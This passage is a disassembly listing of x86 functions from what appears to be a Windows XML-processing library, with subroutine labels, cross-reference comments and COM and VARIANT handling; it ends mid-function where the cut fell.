mov esi, ecx
lea ecx, [esi-10h]
call sub_69B6E468
mov edi, eax
test edi, edi
jz short loc_69B6E56C
mov ecx, [esi+1Ch]
mov eax, edi
sub eax, ecx
sub eax, 0Ch
cdq
push 1Ch
pop ecx
idiv ecx
mov ecx, edi
push eax
lea eax, [esi-10h]
neg eax
sbb eax, eax
and eax, esi
push eax
call sub_69B714DB
mov ecx, [esp+14h]
push dword ptr [esp+10h]
mov [ecx], eax
mov ecx, edi
call sub_69B715F1
loc_69B6E56C: ; CODE XREF: .text:69B6E537j
pop edi
pop esi
retn 0Ch
; =============== S U B R O U T I N E =======================================
sub_69B6E571 proc near ; CODE XREF: sub_69B702BB+28p
; sub_69B7333D+47p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_4]
mov esi, ecx
push [esp+8+arg_0]
call sub_69B6E468
mov ecx, eax
test ecx, ecx
jz short loc_69B6E5A3
mov edx, [esi+2Ch]
push edi
mov eax, ecx
sub eax, edx
sub eax, 0Ch
push 1Ch
pop edi
cdq
idiv edi
add esi, 10h
push eax
push esi
call sub_69B714DB
pop edi
loc_69B6E5A3: ; CODE XREF: sub_69B6E571+14j
pop esi
retn 8
sub_69B6E571 endp
; =============== S U B R O U T I N E =======================================
sub_69B6E5A7 proc near ; CODE XREF: sub_69B7331A+7p
push esi
push 0
push 0FFFFFFFFh
mov esi, ecx
call sub_69B6E468
mov ecx, [esi+2Ch]
add ecx, 0Ch
cmp eax, ecx
jnz short loc_69B6E5D1
cmp dword ptr [esi+40h], 0
jz short loc_69B6E5CB
mov ecx, [esi+40h]
mov eax, [ecx]
pop esi
jmp dword ptr [eax]
; ---------------------------------------------------------------------------
loc_69B6E5CB: ; CODE XREF: sub_69B6E5A7+1Aj
xor eax, eax
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_69B6E5D1: ; CODE XREF: sub_69B6E5A7+14j
pop esi
mov ecx, eax
jmp sub_69B71654
sub_69B6E5A7 endp
; =============== S U B R O U T I N E =======================================
sub_69B6E5D9 proc near ; CODE XREF: sub_69B6F0B5+Ap
push ebx
push esi
mov ebx, ecx
mov esi, [ebx+28h]
push edi
mov edi, [esi+0Ch]
test edi, edi
jz short loc_69B6E612
test byte ptr [ebx+58h], 1
jnz short loc_69B6E5F9
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+40h]
or dword ptr [ebx+58h], 1
loc_69B6E5F9: ; CODE XREF: sub_69B6E5D9+13j
and dword ptr [esi+18h], 0
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+3Ch]
mov edi, eax
mov ecx, esi
mov [esi+18h], edi
call sub_69B71456
jmp short loc_69B6E614
; ---------------------------------------------------------------------------
loc_69B6E612: ; CODE XREF: sub_69B6E5D9+Dj
xor edi, edi
loc_69B6E614: ; CODE XREF: sub_69B6E5D9+37j
mov eax, edi
pop edi
pop esi
pop ebx
retn
sub_69B6E5D9 endp
; =============== S U B R O U T I N E =======================================
sub_69B6E61A proc near ; CODE XREF: sub_69B46CA6+5Ep
; sub_69B6FBE1+58p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push [esp+8+arg_4]
mov eax, ecx
mov esi, [eax+60h]
mov ecx, [eax+0B4h]
push [esp+0Ch+arg_0]
mov edi, [esi]
add eax, 14h
push eax
mov eax, [ecx]
call dword ptr [eax+0B4h]
push eax
mov ecx, esi
call dword ptr [edi+48h]
pop edi
pop esi
retn 8
sub_69B6E61A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6E648 proc near ; CODE XREF: sub_69B6F979+E8p
; sub_69B75380+87p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov eax, [esi+54h]
test eax, eax
jle short loc_69B6E65B
inc eax
mov [esi+54h], eax
jmp short loc_69B6E6BF
; ---------------------------------------------------------------------------
loc_69B6E65B: ; CODE XREF: sub_69B6E648+Bj
push edi
push [ebp+arg_0]
lea edi, [esi+4Ch]
mov ecx, edi
call sub_69B6E209
cmp eax, 9
jnz short loc_69B6E677
mov dword ptr [esi+54h], 1
jmp short loc_69B6E6BE
; ---------------------------------------------------------------------------
loc_69B6E677: ; CODE XREF: sub_69B6E648+24j
movzx eax, [ebp+arg_8]
shl eax, 6
xor eax, [esi+58h]
and eax, 40h
xor [esi+58h], eax
cmp dword ptr [edi], 1
jnz short loc_69B6E69A
cmp dword ptr [edi+4], 2
jz short loc_69B6E69A
mov ecx, [esi+34h]
mov eax, [ecx]
call dword ptr [eax+40h]
loc_69B6E69A: ; CODE XREF: sub_69B6E648+42j
; sub_69B6E648+48j
push [ebp+arg_4]
mov ecx, [esi+34h]
push [ebp+arg_0]
mov eax, [ecx]
call dword ptr [eax+38h]
cmp [ebp+arg_0], 0
jnz short loc_69B6E6BE
movzx eax, [ebp+arg_C]
shl eax, 3
xor eax, [esi+58h]
and eax, 8
xor [esi+58h], eax
loc_69B6E6BE: ; CODE XREF: sub_69B6E648+2Dj
; sub_69B6E648+64j
pop edi
loc_69B6E6BF: ; CODE XREF: sub_69B6E648+11j
pop esi
pop ebp
retn 10h
sub_69B6E648 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6E6C4 proc near ; CODE XREF: sub_69B6F28B+1Fp
; sub_69B75380+41p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
mov eax, [esi+54h]
test eax, eax
mov byte ptr [ebp+var_4], 0
jle short loc_69B6E6DC
dec eax
mov [esi+54h], eax
jmp short loc_69B6E734
; ---------------------------------------------------------------------------
loc_69B6E6DC: ; CODE XREF: sub_69B6E6C4+10j
push edi
push [ebp+arg_0]
lea edi, [esi+4Ch]
mov ecx, edi
call sub_69B6E22D
movzx eax, [ebp+arg_8]
shl eax, 7
xor eax, [esi+58h]
and eax, 80h
xor [esi+58h], eax
cmp [ebp+arg_0], 0
mov eax, [esi+58h]
jnz short loc_69B6E722
cmp dword ptr [edi], 1
setnz byte ptr [ebp+var_4]
cmp byte ptr [ebp+var_4], 0
jnz short loc_69B6E722
test al, 8
jz short loc_69B6E722
mov ecx, [esi+34h]
mov eax, [ecx]
mov byte ptr [ebp+var_4], 1
call dword ptr [eax+40h]
loc_69B6E722: ; CODE XREF: sub_69B6E6C4+3Fj
; sub_69B6E6C4+4Cj ...
push [ebp+var_4]
mov ecx, [esi+34h]
push [ebp+arg_4]
mov eax, [ecx]
push [ebp+arg_0]
call dword ptr [eax+3Ch]
pop edi
loc_69B6E734: ; CODE XREF: sub_69B6E6C4+16j
pop esi
leave
retn 0Ch
sub_69B6E6C4 endp
; =============== S U B R O U T I N E =======================================
sub_69B6E739 proc near ; CODE XREF: sub_69B75667+55p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
arg_C = byte ptr 10h
push esi
mov esi, ecx
cmp dword ptr [esi+54h], 0
jg short loc_69B6E799
movzx eax, [esp+4+arg_8]
shl eax, 7
xor eax, [esi+58h]
and eax, 80h
xor [esi+58h], eax
mov eax, [esi+50h]
cmp eax, 1
mov [esi+4Ch], eax
jnz short loc_69B6E764
and dword ptr [esi+50h], 0
loc_69B6E764: ; CODE XREF: sub_69B6E739+25j
cmp dword ptr [esi+4Ch], 1
jnz short loc_69B6E778
cmp dword ptr [esi+50h], 2
jz short loc_69B6E778
mov ecx, [esi+34h]
mov eax, [ecx]
call dword ptr [eax+40h]
loc_69B6E778: ; CODE XREF: sub_69B6E739+2Fj
; sub_69B6E739+35j
movzx eax, [esp+4+arg_C]
push [esp+4+arg_4]
mov ecx, [esi+34h]
push [esp+8+arg_0]
shl eax, 2
xor eax, [esi+58h]
and eax, 4
xor [esi+58h], eax
mov eax, [ecx]
call dword ptr [eax+48h]
loc_69B6E799: ; CODE XREF: sub_69B6E739+7j
pop esi
retn 10h
sub_69B6E739 endp
; =============== S U B R O U T I N E =======================================
sub_69B6E79D proc near ; CODE XREF: sub_69B6E85D:loc_69B6E8B2p
; sub_69B6F979+119p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = byte ptr 0Ch
push esi
mov esi, ecx
cmp dword ptr [esi+54h], 0
jg short loc_69B6E7F9
movzx eax, [esp+4+arg_4]
shl eax, 7
xor eax, [esi+58h]
and eax, 80h
xor [esi+58h], eax
mov eax, [esi+50h]
cmp eax, 1
mov [esi+4Ch], eax
jnz short loc_69B6E7C8
and dword ptr [esi+50h], 0
loc_69B6E7C8: ; CODE XREF: sub_69B6E79D+25j
cmp dword ptr [esi+4Ch], 1
jnz short loc_69B6E7DC
cmp dword ptr [esi+50h], 2
jz short loc_69B6E7DC
mov ecx, [esi+34h]
mov eax, [ecx]
call dword ptr [eax+40h]
loc_69B6E7DC: ; CODE XREF: sub_69B6E79D+2Fj
; sub_69B6E79D+35j
movzx eax, [esp+4+arg_8]
mov ecx, [esi+34h]
push [esp+4+arg_0]
shl eax, 2
xor eax, [esi+58h]
and eax, 4
xor [esi+58h], eax
mov eax, [ecx]
call dword ptr [eax+44h]
loc_69B6E7F9: ; CODE XREF: sub_69B6E79D+7j
pop esi
retn 0Ch
sub_69B6E79D endp
; =============== S U B R O U T I N E =======================================
sub_69B6E7FD proc near ; CODE XREF: sub_69B6E85D+24p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = byte ptr 0Ch
push esi
mov esi, ecx
cmp dword ptr [esi+54h], 0
jg short loc_69B6E859
movzx eax, [esp+4+arg_4]
shl eax, 7
xor eax, [esi+58h]
and eax, 80h
xor [esi+58h], eax
mov eax, [esi+50h]
cmp eax, 1
mov [esi+4Ch], eax
jnz short loc_69B6E828
and dword ptr [esi+50h], 0
loc_69B6E828: ; CODE XREF: sub_69B6E7FD+25j
cmp dword ptr [esi+4Ch], 1
jnz short loc_69B6E83C
cmp dword ptr [esi+50h], 2
jz short loc_69B6E83C
mov ecx, [esi+34h]
mov eax, [ecx]
call dword ptr [eax+40h]
loc_69B6E83C: ; CODE XREF: sub_69B6E7FD+2Fj
; sub_69B6E7FD+35j
movzx eax, [esp+4+arg_8]
mov ecx, [esi+34h]
push [esp+4+arg_0]
shl eax, 2
xor eax, [esi+58h]
and eax, 4
xor [esi+58h], eax
mov eax, [ecx]
call dword ptr [eax+4Ch]
loc_69B6E859: ; CODE XREF: sub_69B6E7FD+7j
pop esi
retn 0Ch
sub_69B6E7FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6E85D proc near ; CODE XREF: sub_69B70163+35p
; sub_69B7583F+55p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
cmp dword ptr [esi], 6
push edi
mov edi, ecx
jnz short loc_69B6E88F
mov ecx, [esi+8]
mov eax, [ecx]
call dword ptr [eax+3Ch]
test eax, eax
push [ebp+arg_8]
mov ecx, edi
push [ebp+arg_4]
jz short loc_69B6E888
push eax
call sub_69B6E7FD
jmp short loc_69B6E8B7
; ---------------------------------------------------------------------------
loc_69B6E888: ; CODE XREF: sub_69B6E85D+21j
push offset off_69B1A5AC
jmp short loc_69B6E8B2
; ---------------------------------------------------------------------------
loc_69B6E88F: ; CODE XREF: sub_69B6E85D+Dj
xor eax, eax
cmp dword ptr [edi+0A8h], 2
mov ecx, esi
setz al
inc eax
push eax
push esi
push 5
call sub_69B64008
push [ebp+arg_8]
mov ecx, edi
push [ebp+arg_4]
push dword ptr [esi+8]
loc_69B6E8B2: ; CODE XREF: sub_69B6E85D+30j
call sub_69B6E79D
loc_69B6E8B7: ; CODE XREF: sub_69B6E85D+29j
pop edi
pop esi
pop ebp
retn 0Ch
sub_69B6E85D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6E8BD proc near ; CODE XREF: sub_69B727D0+4Ap
var_14 = byte ptr -14h
lpString = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea ecx, [ebp+var_14]
call sub_69B3A66D
mov ecx, [ebp+arg_0]
mov eax, [ecx]
call dword ptr [eax+0E4h]
test eax, eax
jz short loc_69B6E8DF
mov ecx, [eax+0Ch]
jmp short loc_69B6E8E1
; ---------------------------------------------------------------------------
loc_69B6E8DF: ; CODE XREF: sub_69B6E8BD+1Bj
xor ecx, ecx
loc_69B6E8E1: ; CODE XREF: sub_69B6E8BD+20j
push esi
mov esi, [ebp+arg_4]
mov eax, [esi+0Ch]
push ecx ; int
push eax ; lpString
lea ecx, [ebp+var_14]
call sub_69B3A709
test eax, eax
jnz short loc_69B6E902
push [ebp+lpString] ; lpString
call sub_69B1A587
mov esi, eax
jmp short loc_69B6E917
; ---------------------------------------------------------------------------
loc_69B6E902: ; CODE XREF: sub_69B6E8BD+37j
push 0
push dword_69B9B588
push esi
push 0C00CE310h
call sub_69B6E277
xor esi, esi
loc_69B6E917: ; CODE XREF: sub_69B6E8BD+43j
lea ecx, [ebp+var_14]
call sub_69B3A8F3
mov eax, esi
pop esi
leave
retn 8
sub_69B6E8BD endp
; =============== S U B R O U T I N E =======================================
sub_69B6E926 proc near ; CODE XREF: sub_69B727D0+9Fp
arg_0 = dword ptr 4
push [esp+arg_0]
mov ecx, [ecx+5Ch]
call sub_69B1980A
test eax, eax
jz short locret_69B6E94C
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+0B4h]
add eax, 0ACh
push eax ; lpAddend
call ds:InterlockedDecrement ; InterlockedDecrement
locret_69B6E94C: ; CODE XREF: sub_69B6E926+Ej
retn 4
sub_69B6E926 endp
; =============== S U B R O U T I N E =======================================
sub_69B6E94F proc near ; CODE XREF: sub_69B6FABE+F5p
; sub_69B7238E+26p
arg_0 = dword ptr 4
mov ecx, [ecx+0A0h]
test ecx, ecx
jnz short loc_69B6E95D
xor eax, eax
jmp short locret_69B6E966
; ---------------------------------------------------------------------------
loc_69B6E95D: ; CODE XREF: sub_69B6E94F+8j
push [esp+arg_0]
call sub_69B1980A
locret_69B6E966: ; CODE XREF: sub_69B6E94F+Cj
retn 8
sub_69B6E94F endp
; =============== S U B R O U T I N E =======================================
sub_69B6E969 proc near ; CODE XREF: sub_69B6EDDE+E0p
push edi
mov edi, ecx
mov eax, [edi+0A0h]
test eax, eax
jz short loc_69B6E997
push esi
push 1
push eax
call sub_69B3156E
mov esi, eax
jmp short loc_69B6E98B
; ---------------------------------------------------------------------------
loc_69B6E983: ; CODE XREF: sub_69B6E969+2Bj
push edi
mov ecx, eax
call sub_69B71B16
loc_69B6E98B: ; CODE XREF: sub_69B6E969+18j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+40h]
test eax, eax
jnz short loc_69B6E983
pop esi
loc_69B6E997: ; CODE XREF: sub_69B6E969+Bj
pop edi
retn
sub_69B6E969 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6E999 proc near ; CODE XREF: sub_69B6EF3C+37p
pvargDest = VARIANTARG ptr -28h
pvarg = VARIANTARG ptr -18h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
mov esi, ecx
mov eax, [esi+20h]
mov ecx, [eax+8]
mov eax, [ecx]
or ebx, 0FFFFFFFFh
call dword ptr [eax+40h]
test al, al
jnz loc_69B6EA81
mov eax, [esi+28h]
mov eax, [eax+18h]
mov ecx, [eax]
push edi
lea edx, [ebp+var_8]
push edx
mov edi, offset dword_69B25E54
push edi
push eax
call dword ptr [ecx]
push eax
call sub_69B8861E
mov eax, [esi+20h]
mov eax, [eax+8]
mov eax, [eax+0Ch]
mov ecx, [eax]
lea edx, [ebp+var_4]
push edx
push edi
push eax
call dword ptr [ecx]
push eax
call sub_69B8861E
cmp [ebp+var_4], 0
jz short loc_69B6EA73
cmp [ebp+var_8], 0
jz short loc_69B6EA66
mov edi, VariantInit
lea eax, [ebp+pvarg]
push eax ; pvarg
call edi ; VariantInit
push 0
push [ebp+var_8]
lea eax, [ebp+pvarg]
push 9
push [ebp+var_4]
push 9 ; pvargSrc
push 0 ; int
push dword ptr [esi+48h] ; int
push eax ; int
call sub_69B507CB
add esp, 20h
cmp word ptr [ebp+pvarg.anonymous_0], 0
jz short loc_69B6EA66
cmp word ptr [ebp+pvarg.anonymous_0], 0Bh
jnz short loc_69B6EA36
mov ebx, dword ptr [ebp+pvarg.anonymous_0+8]
jmp short loc_69B6EA66
; ---------------------------------------------------------------------------
loc_69B6EA36: ; CODE XREF: sub_69B6E999+96j
lea eax, [ebp+pvargDest]
push eax ; pvarg
call edi ; VariantInit
push 0Bh ; vt
push 1 ; wFlags
call ds:GetThreadLocale ; GetThreadLocale
push eax ; lcid
lea eax, [ebp+pvarg]
push eax ; pvarSrc
lea eax, [ebp+pvargDest]
push eax ; pvargDest
call VariantChangeTypeEx
test eax, eax
jl short loc_69B6EA5C
mov ebx, dword ptr [ebp+pvargDest.anonymous_0+8]
loc_69B6EA5C: ; CODE XREF: sub_69B6E999+BEj
lea eax, [ebp+pvarg]
push eax ; pvarg
call VariantClear
loc_69B6EA66: ; CODE XREF: sub_69B6E999+5Fj
; sub_69B6E999+8Fj ...
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B6EA73
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B6EA73: ; CODE XREF: sub_69B6E999+59j
; sub_69B6E999+D2j
mov eax, [ebp+var_8]
test eax, eax
pop edi
jz short loc_69B6EA81
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B6EA81: ; CODE XREF: sub_69B6E999+1Aj
; sub_69B6E999+E0j
xor eax, eax
cmp bx, 0FFFFh
pop esi
setz al
pop ebx
leave
retn
sub_69B6E999 endp
; =============== S U B R O U T I N E =======================================
sub_69B6EA8E proc near ; CODE XREF: sub_69B6F425+Cp
; sub_69B701AA+17p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov esi, ecx
mov ecx, [esp+8+arg_0]
xor edi, edi
cmp ecx, edi
jz short loc_69B6EAC3
push [esp+8+arg_4]
mov eax, [ecx]
call dword ptr [eax+0A8h]
cmp eax, edi
jz short loc_69B6EADA
mov edx, [esi+68h]
mov ecx, [esi+64h]
add esi, 70h
push esi
push [esp+0Ch+arg_8]
push edx
push eax
call sub_69B60C44
jmp short loc_69B6EAD8
; ---------------------------------------------------------------------------
loc_69B6EAC3: ; CODE XREF: sub_69B6EA8E+Cj
mov ecx, [esi+64h]
mov eax, [esi+68h]
mov edx, [ecx]
add esi, 70h
push esi
push [esp+0Ch+arg_8]
push eax
push edi
call dword ptr [edx+38h]
loc_69B6EAD8: ; CODE XREF: sub_69B6EA8E+33j
mov edi, eax
loc_69B6EADA: ; CODE XREF: sub_69B6EA8E+1Cj
mov eax, edi
pop edi
pop esi
retn 0Ch
sub_69B6EA8E endp
; =============== S U B R O U T I N E =======================================
sub_69B6EAE1 proc near ; CODE XREF: sub_69B7326E+44p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
cmp dword ptr [esi+0A8h], 2
jnz short loc_69B6EB14
mov ecx, [esp+4+arg_4]
push dword_69B9B4F0
mov eax, [ecx]
call dword ptr [eax+0A8h]
test eax, eax
jz short loc_69B6EB14
mov ecx, [esi+64h]
push eax
push [esp+8+arg_0]
call sub_69B63AF9
mov [esp+4+arg_0], eax
loc_69B6EB14: ; CODE XREF: sub_69B6EAE1+Aj
; sub_69B6EAE1+20j
mov eax, [esp+4+arg_0]
pop esi
retn 8
sub_69B6EAE1 endp
; =============== S U B R O U T I N E =======================================
sub_69B6EB1C proc near ; CODE XREF: sub_69B7298C+B2p
; sub_69B73101+B5p ...
arg_0 = dword ptr 4
mov eax, ecx
mov edx, [eax+68h]
mov ecx, [eax+64h]
add eax, 70h
push eax
push edx
push [esp+8+arg_0]
call sub_69B6E3B0
retn 4
sub_69B6EB1C endp
; =============== S U B R O U T I N E =======================================
sub_69B6EB35 proc near ; CODE XREF: sub_69B725C0+2Ap
; sub_69B7267F+49p ...
arg_0 = dword ptr 4
cmp dword ptr [ecx+0A8h], 2
mov eax, [esp+arg_0]
jnz short loc_69B6EB56
cmp eax, dword_69B9B638
jz short loc_69B6EB52
cmp eax, dword_69B9B630
jnz short loc_69B6EB63
loc_69B6EB52: ; CODE XREF: sub_69B6EB35+13j
push 2
jmp short loc_69B6EB60
; ---------------------------------------------------------------------------
loc_69B6EB56: ; CODE XREF: sub_69B6EB35+Bj
cmp eax, dword_69B9B628
jnz short loc_69B6EB63
push 3
loc_69B6EB60: ; CODE XREF: sub_69B6EB35+1Fj
pop eax
jmp short locret_69B6EB65
; ---------------------------------------------------------------------------
loc_69B6EB63: ; CODE XREF: sub_69B6EB35+1Bj
; sub_69B6EB35+27j
xor eax, eax
locret_69B6EB65: ; CODE XREF: sub_69B6EB35+2Cj
retn 4
sub_69B6EB35 endp
; =============== S U B R O U T I N E =======================================
sub_69B6EB68 proc near ; CODE XREF: sub_69B7267F+C0p
; sub_69B72A73+122p ...
arg_0 = dword ptr 4
cmp dword ptr [ecx+0A8h], 2
jz short locret_69B6EB8D
mov ecx, [esp+arg_0]
mov eax, [ecx]
push 0
push dword_69B9B628
call dword ptr [eax+3Ch]
push eax
push 0C00CE30Ch
call sub_69B6E277
locret_69B6EB8D: ; CODE XREF: sub_69B6EB68+7j
retn 4
sub_69B6EB68 endp
; =============== S U B R O U T I N E =======================================
sub_69B6EB90 proc near ; CODE XREF: sub_69B70336+2Dp
; sub_69B7267F+A6p ...
arg_0 = dword ptr 4
cmp dword ptr [ecx+0A8h], 2
jnz short locret_69B6EBB5
mov ecx, [esp+arg_0]
mov eax, [ecx]
push 0
push dword_69B9B638
call dword ptr [eax+3Ch]
push eax
push 0C00CE30Ch
call sub_69B6E277
locret_69B6EBB5: ; CODE XREF: sub_69B6EB90+7j
retn 4
sub_69B6EB90 endp
; =============== S U B R O U T I N E =======================================
sub_69B6EBB8 proc near ; DATA XREF: .text:69B140ACo
push esi
mov esi, ecx
mov eax, [esi+8]
test eax, eax
push edi
lea edi, [esi+0Ch]
jz short loc_69B6EBD7
push ebx
mov ebx, eax
loc_69B6EBC9: ; CODE XREF: sub_69B6EBB8+1Cj
mov ecx, edi
call sub_69B713A4
add edi, 1Ch
dec ebx
jnz short loc_69B6EBC9
pop ebx
loc_69B6EBD7: ; CODE XREF: sub_69B6EBB8+Cj
pop edi
mov ecx, esi
pop esi
jmp nullsub_5
sub_69B6EBB8 endp
; =============== S U B R O U T I N E =======================================
sub_69B6EBE0 proc near ; CODE XREF: sub_69B6EF3C+9Dp
arg_0 = dword ptr 4
push esi
push edi
push [esp+8+arg_0]
mov edi, ecx
push 10h
call sub_69B6E397
mov esi, eax
test esi, esi
pop ecx
pop ecx
jz short loc_69B6EC06
mov ecx, esi
call sub_69B19118
mov dword ptr [esi], offset off_69B14078
jmp short loc_69B6EC08
; ---------------------------------------------------------------------------
loc_69B6EC06: ; CODE XREF: sub_69B6EBE0+15j
xor esi, esi
loc_69B6EC08: ; CODE XREF: sub_69B6EBE0+24j
push 0
push edi
push dword ptr [edi+8]
mov ecx, esi
push 0
call sub_69B2E6E3
pop edi
mov eax, esi
pop esi
retn 4
sub_69B6EBE0 endp
; =============== S U B R O U T I N E =======================================
sub_69B6EC1E proc near ; DATA XREF: .text:69B140ECo
push esi
mov esi, ecx
mov eax, [esi+8]
test eax, eax
push edi
lea edi, [esi+0Ch]
jz short loc_69B6EC3D
push ebx
mov ebx, eax
loc_69B6EC2F: ; CODE XREF: sub_69B6EC1E+1Cj
mov ecx, edi
call sub_69B71592
add edi, 1Ch
dec ebx
jnz short loc_69B6EC2F
pop ebx
loc_69B6EC3D: ; CODE XREF: sub_69B6EC1E+Cj
pop edi
mov ecx, esi
pop esi
jmp nullsub_5
sub_69B6EC1E endp
; =============== S U B R O U T I N E =======================================
sub_69B6EC46 proc near ; CODE XREF: sub_69B6F8EA+35p
arg_0 = dword ptr 4
push esi
push edi
push [esp+8+arg_0]
mov edi, ecx
push 10h
call sub_69B6E397
mov esi, eax
test esi, esi
pop ecx
pop ecx
jz short loc_69B6EC6C
mov ecx, esi
call sub_69B19118
mov dword ptr [esi], offset off_69B140B8
jmp short loc_69B6EC6E
; ---------------------------------------------------------------------------
loc_69B6EC6C: ; CODE XREF: sub_69B6EC46+15j
xor esi, esi
loc_69B6EC6E: ; CODE XREF: sub_69B6EC46+24j
push 0
push edi
push dword ptr [edi+8]
mov ecx, esi
push 0
call sub_69B2E6E3
pop edi
mov eax, esi
pop esi
retn 4
sub_69B6EC46 endp
; =============== S U B R O U T I N E =======================================
sub_69B6EC84 proc near ; CODE XREF: sub_69B6F68E+43p
push esi
mov esi, ecx
mov dword ptr [esi], offset off_69B2A4C8
call sub_69B7055C
lea eax, [esi+18h]
push eax
call sub_69B17230
add esi, 10h
push esi
call sub_69B17230
pop esi
retn
sub_69B6EC84 endp
; =============== S U B R O U T I N E =======================================
sub_69B6ECA6 proc near ; CODE XREF: sub_69B6FBE1+7Ep
arg_0 = dword ptr 4
cmp dword ptr [ecx+0A8h], 2
jnz short locret_69B6ECBC
push [esp+arg_0]
add ecx, 48h
push ecx
call sub_69B17320
locret_69B6ECBC: ; CODE XREF: sub_69B6ECA6+7j
retn 4
sub_69B6ECA6 endp
; =============== S U B R O U T I N E =======================================
sub_69B6ECBF proc near ; CODE XREF: sub_69B6F1D3+37p
arg_0 = word ptr 4
arg_4 = dword ptr 8
mov edx, [ecx+18h]
movzx eax, [esp+arg_0]
push [esp+arg_4]
shl eax, 0Ah
and edx, 0FC0003FFh
or eax, edx
mov [ecx+18h], eax
add ecx, 14h
push ecx
call sub_69B17320
retn 8
sub_69B6ECBF endp
; =============== S U B R O U T I N E =======================================
sub_69B6ECE5 proc near ; CODE XREF: sub_69B6EF3C+4Fp
dec word ptr [ecx+30h]
mov ax, [ecx+30h]
jnz short loc_69B6ECF2
xor al, al
retn
; ---------------------------------------------------------------------------
loc_69B6ECF2: ; CODE XREF: sub_69B6ECE5+8j
mov edx, [ecx+24h]
movsx eax, ax
imul eax, 1Ch
lea eax, [eax+edx-10h]
mov [ecx+20h], eax
mov al, 1
retn
sub_69B6ECE5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6ED05 proc near ; CODE XREF: sub_69B46D44+1Ep
; sub_69B6EF3C+F4p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
test byte ptr [esi+58h], 10h
jz loc_69B6EDDB
push ebx
push edi
call sub_69B6E35F
lea edi, [esi+38h]
mov eax, [edi]
xor ebx, ebx
cmp eax, ebx
jz short loc_69B6ED53
push eax
lea ecx, [ebp+var_8]
call sub_69B8A0E9
mov eax, [ebp+var_8]
jmp short loc_69B6ED47
; ---------------------------------------------------------------------------
loc_69B6ED37: ; CODE XREF: sub_69B6ED05+45j
mov ecx, [eax]
mov eax, [ecx]
call dword ptr [eax+50h]
mov eax, [ebp+var_8]
add eax, 4
mov [ebp+var_8], eax
loc_69B6ED47: ; CODE XREF: sub_69B6ED05+30j
cmp eax, [ebp+var_4]
jb short loc_69B6ED37
push ebx
push edi
call sub_69B17320
loc_69B6ED53: ; CODE XREF: sub_69B6ED05+22j
lea edi, [esi+34h]
mov ecx, [edi]
cmp ecx, ebx
jz short loc_69B6ED68
mov eax, [ecx]
call dword ptr [eax+50h]
push ebx
push edi
call sub_69B17320
loc_69B6ED68: ; CODE XREF: sub_69B6ED05+55j
push ebx
lea eax, [esi+3Ch]
push eax
call sub_69B17320
push ebx
lea eax, [esi+24h]
push eax
mov [esi+18h], ebx
call sub_69B17320
push ebx
lea eax, [esi+2Ch]
push eax
call sub_69B17320
push ebx
lea eax, [esi+44h]
push eax
mov [esi+28h], ebx
mov [esi+20h], ebx
mov [esi+32h], bx
mov [esi+30h], bx
mov [esi+40h], ebx
call sub_69B17320
push ebx
lea eax, [esi+48h]
push eax
call sub_69B17320
mov eax, [esi+58h]
and eax, 0FFFFFF19h
or eax, 1
lea ecx, [esi+8Ch]
mov [esi+58h], eax
call sub_69B70B8C
lea ecx, [esi+70h]
call sub_69B7055C
and dword ptr [esi+58h], 0FFFFFFEFh
pop edi
mov [esi+54h], ebx
mov [esi+50h], ebx
pop ebx
loc_69B6EDDB: ; CODE XREF: sub_69B6ED05+Cj
pop esi
leave
retn
sub_69B6ED05 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6EDDE proc near ; CODE XREF: sub_69B473A7+45p
; sub_69B6FBE1+49p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
mov [esi+0A8h], ebx
call sub_69B6DF3C
push 1
call sub_69B1A6EC
push eax
lea edi, [esi+68h]
push edi
call sub_69B17320
mov ecx, [edi]
push ebx
push ebx
push ebx
push offset off_69B6EF20
call sub_69B4D7A3
mov ebx, [ebp+arg_0]
mov [esi+6Ch], eax
xor eax, eax
cmp ebx, eax
jnz short loc_69B6EE2C
push eax
push eax
push eax
push 0C00CE303h
call sub_69B6E277
loc_69B6EE2C: ; CODE XREF: sub_69B6EDDE+3Fj
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+0B4h]
mov eax, [eax+4Ch]
test byte ptr [eax+0Ah], 1
jnz short loc_69B6EE49
push 8000000Ah
call sub_69B2E8B8
